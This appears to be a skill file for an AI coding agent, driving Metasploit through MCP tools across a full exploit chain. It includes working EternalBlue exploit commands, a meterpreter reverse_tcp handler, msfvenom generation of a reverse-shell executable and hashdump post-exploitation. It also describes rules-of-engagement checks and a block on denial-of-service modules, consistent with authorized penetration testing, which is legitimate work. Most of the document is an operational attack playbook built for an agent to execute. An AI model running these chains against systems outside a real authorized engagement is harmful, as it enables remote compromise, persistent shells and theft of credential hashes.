| name | msf-exploit-chain |
| description | Orchestrates Metasploit Cursor Harness MCP tools through recon, module check, exploit, handler, session, and post-exploitation phases. Use when running msf_search_modules, msf_run_exploit, msf_run_auxiliary_module, payload generation, or session management with ROE enforcement in this project. |
MSF Exploit Chain
Harness context
- MCP server:
msf-harness (see .cursor/mcp.json)
- ROE configs:
engagements/{id}/roe.yaml
- Scope:
scope/scope-master.txt
- Server-side enforcement:
msf_harness/mcp/policy/roe.py
- DoS modules (
auxiliary/dos/*) are blocked unconditionally
Default engagement id for lab: lab-default
LHOST Resolution (mandatory before any reverse payload)
Resolve LHOST deterministically. Try in this order; use the FIRST that succeeds:
msf_get_lab_network() -> use lhost field from response
- Read
engagements/{engagement_id}/lhost.yaml -> use lhost value
- STOP and ask user for LHOST IP
NEVER hardcode an IP. NEVER use 0.0.0.0. NEVER guess.
Tool inventory
Read (no ROE gate): msf_status, msf_search_modules, msf_module_info, msf_host_info, msf_service_info, msf_vulnerability_info, msf_note_info, msf_credential_info, msf_loot_info, msf_list_active_sessions, msf_list_payloads, msf_compatible_payloads, msf_list_listeners, msf_route_list
Action (require engagement_id): msf_module_check, msf_run_exploit, msf_run_auxiliary_module, msf_run_post_module, msf_send_session_command, msf_generate_payload, msf_start_listener, msf_stop_job, msf_cleanup_jobs, msf_wait_for_session, msf_session_upgrade, msf_session_sysinfo, msf_session_getuid, msf_session_ps, msf_session_download, msf_session_upload, msf_terminate_session, msf_db_nmap, msf_route_add, msf_route_delete, msf_autoroute, msf_report_host, msf_credential_add
Standard chain
Task Progress:
- [ ] msf_status - confirm RPC up
- [ ] Recon - msf_host_info / msf_service_info or auxiliary scanners
- [ ] Research - domain/vuln skills + msf_search_modules
- [ ] msf_module_info - required options
- [ ] msf_compatible_payloads - select payload
- [ ] msf_module_check - safe probe (mandatory before exploit)
- [ ] msf_start_listener - handler ready before exploit
- [ ] msf_run_exploit or msf_run_auxiliary_module
- [ ] msf_wait_for_session - poll for callback
- [ ] msf_session_upgrade - shell to meterpreter if needed
- [ ] msf_list_active_sessions - confirm session
- [ ] msf_run_post_module / msf_send_session_command
- [ ] msf_stop_job / msf_cleanup_jobs / msf_terminate_session - cleanup
- [ ] Evidence to evidence/msf/
Phase 1: Connect and recon
Verify RPC
MSF MCP (preferred):
msf_status()
CLI fallback:
wsl -e bash -lc "msfconsole -q -x 'version; exit'"
Service discovery
MSF MCP (preferred):
msf_service_info(host="<target>", only_up=true)
msf_search_modules(query="<service or cve>")
CLI fallback:
nmap -sV -p- <target>
wsl -e bash -lc "msfconsole -q -x 'search <service>; exit'"
Cross-reference: hacktricks-methodology, web-app-pentest, internal-ad-pentest, cloud-pentest, container-devops-pentest
Phase 2: Module selection
Module info
MSF MCP (preferred):
msf_module_info(type="exploit", name="windows/smb/ms17_010_eternalblue")
CLI fallback:
wsl -e bash -lc "msfconsole -q -x 'info exploit/windows/smb/ms17_010_eternalblue; exit'"
Record required options (typically RHOSTS, RPORT, TARGET, credentials). Rank preference: excellent > great > good > normal.
Compatible payloads
MSF MCP (preferred):
msf_compatible_payloads(
module_type="exploit",
module_name="windows/smb/ms17_010_eternalblue"
)
CLI fallback:
wsl -e bash -lc "msfconsole -q -x 'use exploit/windows/smb/ms17_010_eternalblue; show payloads; exit'"
Phase 3: Check before exploit
Always run check first unless user explicitly waives it.
MSF MCP (preferred):
msf_module_check(
engagement_id="<id>",
module_type="exploit",
module_name="windows/smb/ms17_010_eternalblue",
options={"RHOSTS": "<target>"}
)
Check Result Parsing (deterministic)
The msf_module_check response determines next action:
Response status | Response code | Meaning | Next action |
|---|
ok | - | Check ran successfully | Parse check_result field below |
error | not_vulnerable | Target confirmed safe | STOP: do not exploit |
error | rpc_unavailable | RPC down | STOP: fix RPC |
error | module_check_failed | Check crashed | STOP: investigate |
denied | - | ROE blocked | STOP: target/module not allowed |
Parsing check_result field (when status=ok):
| check_result contains | Verdict | Action |
|---|
| "vulnerable" (case-insensitive) | VULNERABLE | Proceed to exploit |
| "safe" or "not vulnerable" | SAFE | STOP: do not exploit |
| "cannot be determined" | UNKNOWN | Proceed with caution; note in evidence |
| "not supported" | UNSUPPORTED | Module has no check; proceed with caution |
msf_run_exploit also runs check when run_check_first=true (default) and returns code: "not_vulnerable" if target is safe.
Phase 4: Handler setup
MSF MCP (preferred):
msf_start_listener(
engagement_id="<id>",
payload="windows/x64/meterpreter/reverse_tcp",
lhost="{LHOST}",
lport=4444
)
msf_list_listeners()
CLI fallback:
wsl -e bash -lc "msfconsole -q -x 'use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST {LHOST}; set LPORT 4444; run -j; jobs; exit'"
Phase 5: Exploit execution
msf_run_exploit execution modes
| Parameter | Default | Behavior |
|---|
run_as_job=False | yes | Console execution with synchronous output capture; sessions detected from console text |
run_as_job=True | no | Async RPC job execution; poll for callbacks with msf_wait_for_session |
timeout | 90 | Seconds to wait for console output (min 10, max 300) |
MSF MCP (preferred):
msf_run_exploit(
engagement_id="<id>",
module_name="windows/smb/ms17_010_eternalblue",
options={"RHOSTS": "<target>", "RPORT": 445},
payload="windows/x64/meterpreter/reverse_tcp",
payload_options={"LHOST": "{LHOST}", "LPORT": 4444},
run_as_job=False,
timeout=90
)
For async job execution, set run_as_job=True and follow with msf_wait_for_session.
CLI fallback:
wsl -e bash -lc "msfconsole -q -x 'use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS <target>; set payload windows/x64/meterpreter/reverse_tcp; set LHOST {LHOST}; set LPORT 4444; exploit; exit'"
For scanners and enum:
MSF MCP (preferred):
msf_run_auxiliary_module(
engagement_id="<id>",
module_name="auxiliary/scanner/smb/smb_version",
options={"RHOSTS": "<target>"},
run_as_job=True
)
Set run_as_job=True on msf_run_auxiliary_module and msf_run_post_module to execute as background RPC jobs instead of the default console execution mode.
CLI fallback:
nmap -sV --script smb-os-discovery -p 445 <target>
Phase 6: Session management
Wait for session
MSF MCP (preferred):
msf_wait_for_session(
engagement_id="<id>",
timeout=60
)
msf_list_active_sessions()
CLI fallback:
wsl -e bash -lc "msfconsole -q -x 'sessions -l; exit'"
Upgrade shell to Meterpreter
MSF MCP (preferred):
msf_session_upgrade(
engagement_id="<id>",
session_id={session_id}
)
CLI fallback:
wsl -e bash -lc "msfconsole -q -x 'sessions -u 1; exit'"
Generate staged payload
MSF MCP (preferred):
msf_generate_payload(
engagement_id="<id>",
payload="windows/x64/meterpreter/reverse_tcp",
format="exe",
options={"LHOST": "{LHOST}", "LPORT": 4444},
output_path="evidence/msf/payload.exe"
)
CLI fallback:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST={LHOST} LPORT=4444 -f exe -o evidence/msf/payload.exe
Phase 7: Post-exploitation
Session ID resolution: NEVER hardcode session_id=1. Always resolve dynamically:
msf_list_active_sessions() # Find session matching your target
Use the session_id from the exploit result or from the session list.
MSF MCP (preferred):
msf_run_post_module(
engagement_id="<id>",
module_name="windows/gather/hashdump",
session_id={session_id},
run_as_job=True
)
msf_send_session_command(
engagement_id="<id>",
session_id={session_id},
command="getuid"
)
msf_session_sysinfo(engagement_id="<id>", session_id={session_id})
msf_session_getuid(engagement_id="<id>", session_id={session_id})
CLI fallback:
wsl -e bash -lc "msfconsole -q -x 'use post/windows/gather/hashdump; set SESSION 1; run; exit'"
Common post modules: post/windows/gather/*, post/windows/manage/*, post/multi/recon/*
Phase 8: Cleanup
MSF MCP (preferred):
msf_stop_job(
engagement_id="<id>",
job_id={job_id}
)
msf_cleanup_jobs(
engagement_id="<id>"
)
msf_terminate_session(
engagement_id="<id>",
session_id={session_id}
)
msf_list_listeners()
CLI fallback:
wsl -e bash -lc "msfconsole -q -x 'jobs -k 1; sessions -k 1; jobs; sessions -l; exit'"
Decision matrix
| Finding | Next MCP action |
|---|
| Open port, unknown service | msf_run_auxiliary_module scanner |
| CVE match | msf_module_check then msf_run_exploit |
| Valid creds | search psexec, wmi, ssh_login, smb_login |
| Web shell upload | search web_delivery, php/meterpreter |
| Session obtained | msf_run_post_module enum before lateral movement |
| Shell only | msf_session_upgrade before post modules |
Safety rules
- Every action tool call must include valid
engagement_id.
- Targets must fall within ROE CIDRs (server rejects out-of-scope).
- Never run
auxiliary/dos/* modules.
- Log actions via harness hooks (
.cursor/hooks/).
- Prefer check modules and auxiliary scanners over direct exploit when uncertain.
Troubleshooting
| Symptom | Action |
|---|
| RPC error | Start msfrpcd in WSL per README |
| ROE denial | Verify target IP in engagements/*/roe.yaml |
| No session | Confirm handler via msf_list_listeners, use msf_wait_for_session |
| Check says safe | Read module info; try different target or module |
| Shell not meterpreter | Run msf_session_upgrade |
Related skills
msf-harness - tool reference and engagement setup
msf-recon - pre-exploit reconnaissance workflow
msf-post - post-exploitation after session obtained
hacktricks-methodology - service-level attack vectors
web-app-pentest - web RCE leading to exploit chain
internal-ad-pentest - AD lateral movement modules